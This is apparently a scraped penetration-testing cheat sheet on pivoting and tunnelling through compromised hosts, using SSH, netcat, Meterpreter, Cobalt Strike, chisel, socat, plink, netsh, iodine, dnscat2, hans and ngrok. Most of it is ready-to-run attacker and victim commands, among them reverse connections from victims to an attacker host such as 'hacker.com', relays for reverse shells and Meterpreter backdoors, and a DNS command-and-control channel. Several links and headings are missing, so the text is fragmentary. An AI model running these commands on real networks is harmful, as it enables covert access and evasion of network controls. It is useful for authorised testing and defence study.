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Nmap tip
ICMP and SYN scans cannot be tunnelled through socks proxies, so we must disable ping discovery (-Pn) and specify TCP scans (-sT) for this to work.
Bash
Host -> Jump -> InternalA -> InternalB
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe
# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &
# From the host, you can now access InternalB from the Jump server
evil-winrm -u username -i Jump
SSH
SSH graphical connection (X)
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
Local Port2Port
Open new Port in SSH Server --> Other port
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
Port2Port
Local port --> Compromised host (SSH) --> Third_box:Port
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
Port2hostnet (proxychains)
Local Port --> Compromised host (SSH) --> Wherever
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
Reverse Port Forwarding
This is useful to get reverse shells from internal hosts through a DMZ to your host:
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
VPN-Tunnel
You need root in both devices (as you are going to create new interfaces) and the sshd config has to allow root login:
PermitRootLogin yesPermitTunnel yes
ssh root@server -w any:any #This will create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface
background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
Another way:
background #meterpreter session
use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
Cobalt Strike
SOCKS proxy
Open a port in the teamserver listening in all the interfaces that can be used to route the traffic through the beacon.
beacon> socks 1080
[+] started SOCKS4a server on: 1080
# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
rPort2Port
In this case, the port is opened in the beacon host, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port
Beacon's reverse port forward is designed to tunnel traffic to the Team Server, not for relaying between individual machines.
Traffic is tunneled within Beacon's C2 traffic, including P2P links.
Admin privileges are not required to create reverse port forwards on high ports.
rPort2Port local
In this case, the port is opened in the beacon host, not in the Team Server and the traffic is sent to the Cobalt Strike client (not to the Team Server) and from there to the indicated host:port
./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
#And now you can use proxychains with port 1080 (default)
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
You can bypass a non-authenticated proxy executing this line instead of the last one in the victim's console:
Connect the local SSH port (22) to the 443 port of the attacker host
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
Plink.exe
It's like a console PuTTY version ( the options are very similar to an ssh client).
As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine:
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
Windows netsh
Port2Port
You need to be a local admin (for any port)
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
SocksOverRDP & Proxifier
You need to have RDP access over the system.
Download:
In your client computer load SocksOverRDP-Plugin.dll like this:
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
Now we can connect to the victim over RDP using mstsc.exe, and we should receive a prompt saying that the SocksOverRDP plugin is enabled, and it will listen on 127.0.0.1:1080.
Connect via RDP and upload & execute in the victim machine the SocksOverRDP-Server.exe binary:
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
Now, confirm in you machine (attacker) that the port 1080 is listening:
netstat -antb | findstr 1080
Proxify Windows GUI Apps
NTLM proxy bypass
The previously mentioned tool: RpivotOpenVPN can also bypass it, setting these options in the configuration file:
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
Cntlm
It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.
For example that forward port 443
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Now, if you set for example in the victim the SSH service to listen in port 443. You can connect to it through the attacker port 2222.
You could also use a meterpreter that connects to localhost:443 and the attacker is listening in port 2222.
YARP
DNS Tunneling
Iodine
Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries.
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using:
Establishes a C&C channel through DNS. It doesn't need root privileges.
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
Change proxychains DNS
Proxychains intercepts gethostbyname libc call and tunnels tcp DNS request through the socks proxy. By default the DNS server that proxychains use is 4.2.2.2 (hardcoded). To change it, edit the file: /usr/lib/proxychains3/proxyresolv and change the IP. If you are in a Windows environment you could set the IP of the domain controller.
Tunnels in Go
ICMP Tunneling
Hans
Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests.
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
ptunnel-ng
# Generate it
sudo ./autogen.sh
# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1
ngrok
Installation
Create an account: https://ngrok.com/signup
Client download:
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
Basic usages
It is also possible to add authentication and TLS, if necessary.
Tunneling TCP
# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
Exposing files with HTTP
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
Sniffing HTTP calls
Tunneling internal HTTP service
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
ngrok.yaml simple configuration example
It opens 3 tunnels:
2 TCP
1 HTTP with static files exposition from /tmp/httpbin/
You can download it from the releases page of
You need to use the same version for client and server
- This tool uses Dynamic Virtual Channels (DVC) from the Remote Desktop Service feature of Windows. DVC is responsible for tunneling packets over the RDP connection.
Now you can use to proxy the traffic through that port.
You can make Windows GUI apps navigate through a proxy using .
In Profile -> Proxy Servers add the IP and port of the SOCKS server.
In Profile -> Proxification Rules add the name of the program to proxify and the connections to the IPs you want to proxify.
A reverse proxy created by Microsoft. You can find it here:
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You can use to run a dnscat2 client in powershell:
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is a tool to expose solutions to Internet in one command line.Exposition URI are like:UID.ngrok.io
Documentation: .
Useful for XSS,SSRF,SSTI ...
Directly from stdout or in the HTTP interface .
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